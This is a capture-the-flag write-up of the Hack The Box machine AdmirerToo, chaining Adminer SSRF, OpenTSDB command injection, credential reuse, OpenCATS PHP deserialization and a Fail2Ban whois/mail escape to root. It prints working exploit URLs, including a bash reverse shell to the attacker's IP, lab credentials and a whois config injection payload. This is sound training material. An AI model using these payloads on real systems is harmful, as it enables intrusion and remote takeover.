AdmirerToo is a hard-rated linux box. It starts with an SSRF exploit on Adminer to access an instance of OpenTSDB on port 4242, which is vulnerable to RCE. This will give you a shell on the box as opentsdb
, which you can use to extract credentials from a configuration file and gain access to the account of jennifer
due to password reuse. An instance of OpenCATS is running locally on port 8080, which you can access by setting up an SSH tunnel. OpenCATS is running as the user devel
, who has write permissions on the directory /usr/local/etc
, and is vulnerable object injection that you can use to write files in the directory, and exploit the Fail2Ban service to gain code execution as root
.
Info
Recon
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Nmap 7.70 scan initiated Sat Feb 12 11:41:17 2022 as: nmap -sC -sV -oN nmap.txt -v 10.10.11.137
Increasing send delay for 10.10.11.137 from 0 to 5 due to 192 out of 638 dropped probes since last increase.
Nmap scan report for admirertoo.htb (10.10.11.137)
Host is up (0.34s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 99:33:47:e6:5f:1f:2e:fd:45:a4:ee:6b:78:fb:c0:e4 (RSA)
| 256 4b:28:53:64:92:57:84:77:5f:8d:bf:af:d5:22:e1:10 (ECDSA)
|_ 256 71:ee:8e:e5:98:ab:08:43:3b:86:29:57:23:26:e9:10 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Admirer
4242/tcp filtered vrml-multi-use
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 12 11:42:38 2022 -- 1 IP address (1 host up) scanned in 80.99 seconds
Web
This is a PHP site due to presence of /index.php
. The chat bubble in the homepage sent a request to the index page, but the request does not seem to be processed by the server as there are no changes in response;
Requesting a non-existing page leaked a possible domain;
I updated my hosts file with it, and reload the page. Nothing changed.
Fuzzing for subdomains with ffuf
, I got a hit;
db.admirer-gallery.htb
Clicking the enter button, I was login to a database management service like phpMyAdmin as the user admirer_ro;
I have access to the database gallery, but I can’t make any changes to it;
Going to the privileges menu from the homepage, I was able to read the password hash of the admirer_ro user;
The password hash could not be cracked using john
and rockyou.txt
, so I moved on.
However, I did not enter any password to login to the service, so I looked through my traffic in burp, and found a password 1w4nn4b3adm1r3d2!
;
Looking at the source code of the login page, I found even more useful info;
Adminer
Adminer is a tool for managing content in MySQL databases. Adminer is distributed under Apache license in a form of a single PHP file. Its author is Jakub Vrána who started to develop this tool as a light-weight alternative to phpMyAdmin, in July 2007.
The service has support for custom plugins, which are installed in the /plugins
directory;
My first attempt at exploiting this service is to get it to authenticate to my own MySQL server, which may let me read local files on the server running adminer into my own database. So I created a database named admirer
, and add a user to it with the username admirer_ro
and password 1w4nn4b3adm1r3d2!
.
Using burp’s intercept, I passed all the relevant config to the server;
This didn’t work, and the login page displayed an error message;
So I repeat the process with a wrong password to see if I can get a different response. I did;
This indicate the first login attempt was likely successful. So I fired up Wireshark to see what exactly is going on.
As you can see from the following packets, the box did manage to successfully authenticate to my MySQL database;
However, the client exited using the quit
(the last highlighted packet) command after the authentication has been completed. I have no clue why this is happening, may be the service is doing some sort of validation?
Another thing I saw while going through the packets is support for LOAD DATA LOCAL
command by the client, which is a command I could use to read local files on the box should the server allow it;
After the MySQL session was closed, my box made a HTTP request to the server, and was given a 403 Forbidden response;
My guess is this is somehow interfering with the web login. The cookies look very interesting, so I started studying them. The cookie adminer_permanent
is a URL-encoded base64-string;
The cookie contains the database host, database name, and database username. The cookies adminer_key
and adminer_sid
look interesting, but I have no idea what they are. So I decided to install Adminer locally on my box in hope of learning more about them.
I installed Adminer in a docker container along with a MySQL server, then I configured another MySQL service on my main host. In both databases, I created a database named admirer
and created a user for it named admirer_ro
with the passwords set to 1w4nn4b3adm1r3d2!
. Interestingly, my approach worked locally, and I was able to get the Adminer service in my docker container to connect to the database on my main host. I have no clue why it’s not working on the box, so I just moved on.
Searching for exploits for the version of adminer running, I found this at https://github.com/advisories/GHSA-x5r2-hj5c-8jx6;
The version of Adminer running on the host is vulnerable to SSRF. The PoC is in a linked PDF. It links to a python script at https://gist.github.com/bpsizemore/227141941c5075d96a34e375c63ae3bd, which can be used to setup the redirect.
SSRF flaws are mainly used to access internal resources, or resources we are not allowed to directly access. Going back to my initial port scan, NMAP reported port 4242 as filtered;
1
2
3
4
5
---[snip]---
|_http-title: Admirer
4242/tcp filtered vrml-multi-use
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
---[snip]---
So I setup the redirection script to redirect requests to my box on port 80 to the filtered service at http://127.0.0.1:4242. I then send a login request with the server set to my box and driver set to elastic (for Elasticsearch);
This worked, and I got a response from the hidden service;
It seems the service supports the HTTP protocol. The title OpenTSDB looks interesting, so I started googling it;
OpenTSDB is a distributed, scalable Time Series Database (TSDB) written on top of HBase. OpenTSDB was written to address a common need: store, index and serve metrics collected from computer systems (network gear, operating systems, applications) at a large scale, and make this data easily accessible and graphable.
Seaching for known exploits for this service, I found a Command Injection vulnerability at https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2020/CVE-2020-35476.yaml
Using the PoC provided that runs a wget
command, I got a long error message about a missing “metric”;
Googling on what exactly a “metric” is in this service, I learned that;
In OpenTSDB, a metric is named with a string, like http. hits . To be able to store all the different values for all the places where this metric exists, you tag the data with one or more tags when you send them to the TSD. TSD stores the timestamp, the value, and the tags.
There is a way to list available metrics using the query /api/suggest?type=metrics
. Using it on the host returned one entry http.stats.web.hits
;
So I updated the exploit using this metric;
1
http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system(%27nc%2010.10.16.53%20443%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
And bingo!!!
I used this exploit to spawn a shell on the box as opentsdb user;
1
http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system(%27%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.53%2F443%200%3E%261%22%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
User
Local user with the name jennifer exists. The user I am working as is not part of any groups. linPEAS
found some creds;
This creds were found in the file /etc/opencats/config.php
. I was able to login to the local MySQL server using it;
This user has access to only one database, which contains the below tables;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
+--------------------------------------+
| Tables_in_cats_dev |
+--------------------------------------+
---[snip]---
| site |
| sph_counter |
| system |
| tag |
| user |
| user_login |
| word_verification |
| xml_feed_submits |
| xml_feeds |
| zipcodes |
+--------------------------------------+
The table user
looks interesting, and was found to contain some hashes;
1
2
3
4
5
6
7
8
9
MariaDB [cats_dev]> select user_id, email, user_name, password from user;
+---------+-------------------------+----------------+----------------------------------+
| user_id | email | user_name | password |
+---------+-------------------------+----------------+----------------------------------+
| 1 | admin@testdomain.com | admin | dfa2a420a4e48de6fe481c90e295fe97 |
| 1250 | 0 | cats@rootadmin | cantlogin |
| 1251 | jennifer@admirertoo.htb | jennifer | f59f297aa82171cc860d76c390ce7f3e |
+---------+-------------------------+----------------+----------------------------------+
3 rows in set (0.001 sec)
I was unable to crack any of the hashes using the rockyou.txt
wordlist with john
, so I moved on.
The box doesn’t allow to me to list the processes of other users, only mine;
Using pspy
also didn’t help, so we are probably in a jailed environment.
There are a few other ports listening;
The service on port 8080 caught my attention. This is a port normally used by web proxies, so I tried to use it with curl
to make a request, but it didn’t work;
It keeps closing connections about one second after they were established, even without sending any data.
Looking at the /opt
directory, I saw 2 directories owned by the root
user;
A quick search in searchsploit
showed 2 vulns for OpenCATS;
This is a free open-source applicant tracking system (ATS)., with documentation at https://opencats-documentation.readthedocs.io/
After further enumeration of the filesystem, the file /var/www/adminer/plugins/data/server.php
was found to contain the configuration of the one-click login plugin installed in Adminer. The file contains a commented-out password, which turns out to be the password of jennifer. This was easier than I expected;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
return [
'localhost' => array(
// 'username' => 'admirer',
// 'pass' => 'bQ3u7^AxzcB7qAsxE3',
// Read-only account for testing
'username' => 'admirer_ro',
'pass' => '1w4nn4b3adm1r3d2!',
'label' => 'MySQL',
'databases' => array(
'admirer' => 'Admirer DB',
)
),
];
This password gave me access to the box over SSH as jennifer;
PrivEsc
jennifer does not have sudo
permissions on the box, and I still cannot list running processes belonging to other users.
Looking for attack vectors, I noticed the modification date of /usr/bin/pkexec
dates back to 15 Jan 2019. This indicate it may be vulnerable to the pwnkit exploit. Searching for exploits, I found one at https://github.com/ly4k/PwnKit. Testing the exploit on the box, I was elevated to root immediately. This is way too easy for a hard box, so I contacted a staff through the HTB discord, and found out it is indeed unintended. So I switched back to jennifer, and started looking for the intended way.
Since I now have access to the box over SSH, I can use it to setup tunnels to those local ports, and hopefully identify them using nmap
. After setting up the tunnels, I performed a version scan on the ports;
The service on port 8080 was now identified as Apache httpd 2.4.38 ((Debian)). Opening it up in my browser, I got a login page;
Testing the credentials I have up to this point for an easy win, I was able to login using the username jennifer
and password bQ3u7^AxzcB7qAsxE3
;
The footer showed the version of OpenCATS running is 0.9.5.2. Notice that jennifer has read-only access to the service
OpenCATS
With the version of OpenCATS now known, I started looking for exploits. The article https://snoopysecurity.github.io/web-application-security/2021/01/16/09_opencats_php_object_injection.html showed that the service is vulnerable to arbitrary file write due to unsafe PHP object deserialization.
OpenCATS is vulnerable to PHP Object injection, by leveraging this vulnerability, it is possible to conduct arbitrary file write and execute arbitrary code on a system.
The request of interest is triggered after hitting any of the below links;
This generate a GET request with the parameter parametersactivity:ActivityDataGrid
containing the serialized PHP object;
Following the article, I tried to write a file to the root of the web app at /opt/opencats
, but got a 500 error response. This is probably because of permission issues as the web root is owned by the root user.
So I tried to create a file in the globally writable directory /dev/shm
, and it worked;
The file is created as the user devel. The user devel does not have a login shell, and his home directory does not exist;
So I begin to search the filesystem for files and directories this user owns, and found a few;
devel has write permissions on two key directories;
Both directories are empty. The directory /usr/local/etc
is used by some programs to store and load configuration files. So I started looking for any program I could exploit using this. Listing running services using systemctl
showed that Fail2Ban, which is an IPS-like service that blocks suspicious IPs, is running on the host;
Searching for known expoits for this service, I found an article explaining how it could be exploited at https://research.securitum.com/fail2ban-remote-code-execution/
The article explains how data passed to the mail
command without validation can lead to arbitrary code execution using the ~!
escape sequence. I was able to test this locally, and it worked. A shell command was executed in my default login shell;
Reading further into the article, this paragraph was particularly interesting;
When Fail2Ban bans an IP, it sends an email notification to a defined address. The email will contain the result of a whois lookup for the IP address. So if I could control this, I could add a command that will be executed in the result of the whois lookup.
Testing this with a user account that does not have a default shell didn’t work;
Changing the escape from ~!
to ~|
did the trick;
Now all I needed to do is create a whois config that will direct all whois lookups to my machine on port 43. To do this, I need to create a configuration file at /usr/local/etc/whois.conf
that will be used by whois
. I can use the deserialization exploit to do this, but the problem is other data is added to my payload;
Note that only the highlighted text is my actual payload. After studying a bit on whois configuration files, I learned that the configurations have to be in regular expression. After lots of trials and errors, I was able to craft a valid whois config file to match my IP address using the payload "}]|10.10.16.53 [10.10.16.53]
;
As you can see above, I was able to get whois
to query my own server. Now I have all I need to execute commands on the box.
With the whois configuration file in place, I started a netcat listener on port 43 to send the payload as a whois response;
Then I started another listener on port 443 to receive the above reverse shell. Now to trigger the exploit, I need to make Fail2Ban, which is running as root, to ban my IP. This will result in a whois request that will be replied to with my payload. To trigger this ban, I bruteforced the SSH login using hydra
, which made Fail2Ban ban my IP. This resulted in a whois lookup to my box;
The request hangs however, and I had to press CTRL + C
to exit. After closing the fake whois server, my payload was executed, and I got a shell in the box as root;
This is the hard box I managed to solve, and even though it took some nudges, I was very happy!!!
Summary
- Discovered port 22, 80, and 4242 (filtered) with
nmap
- Found a subdomain
db.admirer-galley.htb
running an instance of Adminer. - Exploited an SSRF flaw in Adminer to access the service on port 4242.
- Service on port 4242 (OpenTSDB) was found to be vulnerable to RCE, which gave me access to the box as the local user opentsdb.
- Inside as opentsdb
- Recovered a password in the configuration file of the one-click login plugin used by Adminer.
- Gained access to the account of jennifer due to password reuse.
- Inside as jennifer
- Setup a tunnel to an instance of OpenCATS running locally on port 8080, and logged in as jennifer.
- Exploited a PHP deserialization flaw to create files on the server as the user devel.
- devel has write access to
/usr/local/etc
, which I exploited to createwhois
config that queries my server. - Exploited the way Fail2Ban is calling
mail
with the output of whois lookups to gain code execution as root.